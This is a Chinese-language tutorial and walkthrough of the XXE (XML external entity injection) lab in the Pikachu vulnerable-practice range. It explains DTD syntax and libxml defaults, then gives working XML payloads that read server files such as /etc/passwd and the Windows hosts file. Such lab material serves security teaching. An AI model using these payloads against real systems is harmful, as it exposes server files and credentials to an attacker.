XEE - Pikachu
概述
XXE -"xml external entity injection"
既"xml外部實體注入漏洞"。
概括一下就是"攻擊者通過向伺服器注入指定的xml實體內容,從而讓伺服器按照指定的配置進行執行,導致問題"
也就是說服務端接收和解析了來自使用者端的xml資料,而又沒有做嚴格的安全控制,從而導致xml外部實體注入。
現在很多語言裡面對應的解析xml的函式預設是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。
以PHP為例,在PHP裡面解析xml用的是libxml,其在≥2.9.0的版本中,預設是禁止解析xml外部實體內容的。
第一部分:XML宣告部分
<?xml version="1.0"?>
第二部分:文件型別定義 DTD
<!DOCTYPE note[
<!--定義此文件是note型別的文件-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部實體宣告-->
]]]>
第三部分:文件元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD(Document Type Definition,文件型別定義),用來為 XML 文件定義語法約束,可以是內部申明也可以使引用外部.
DTD現在很多語言裡面對應的解析xml的函式預設是禁止解析外部實體內容的,從而也就直接避免了這個漏洞。
內部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>
外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">
引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD標識名" "公共DTD的URI">
外部實體引用 Payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
外部引用可以支援http,file,ftp等協議。
如果一個介面支援接收xm|資料,且沒有對xml資料做任何安全上的措施,就可能導致XXE漏洞。
simplexml_load_string()
函式轉換形式良好的XML 字串為SimpleXMLElement物件。
在PHP 裡面解析 xml 用的是 libxml, 其在 2.9.0 的版本中 預設是禁止解析 xml 外部實體內容的。
XXE漏洞發生在應用程式解析XML輸入時,沒有禁止外部實體的載入,導致攻擊者可以構造一個惡意的XML。
靶場
1.檢視一波原始碼先,
它會通過POST請求,去獲取前端的下xml資料,獲取後就會傳到simplexml_load_string()這個函式,如果PHP的版本大於2.9.0的話,這個函式是預設禁止的,但在這裡,他為了製造一個漏洞,就通過LIBXML_NOENT這個函式開啟了外部實體來構造XXE漏洞。也就是說,在這個漏洞中,把xml資料傳給simplexml_load_string(),這個函式就會對資料的外部實體內容進行解析,然後再返回給前端。
2.進入靶場,隨便輸入,回顯為,
3.構造一個payload,
<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hack "chongchongchong"> ]> <name>hack</name>
回顯為
4.構造一個惡意的payload,通過外部實體引用從而去獲取後臺伺服器的本地檔案資訊
(注:外部引用可以支援http,file,ftp等協議。)
payload
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts"> <!--要根據後臺伺服器的系統,輸入正確的檔案路徑--> ]> <x>&f;</x>
回顯為
5.我們可以在C盤建立一個txt檔案
路徑為
C:\XXE.txt
6.構造payload
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://XXE.txt"> ]> <name>&f;</name>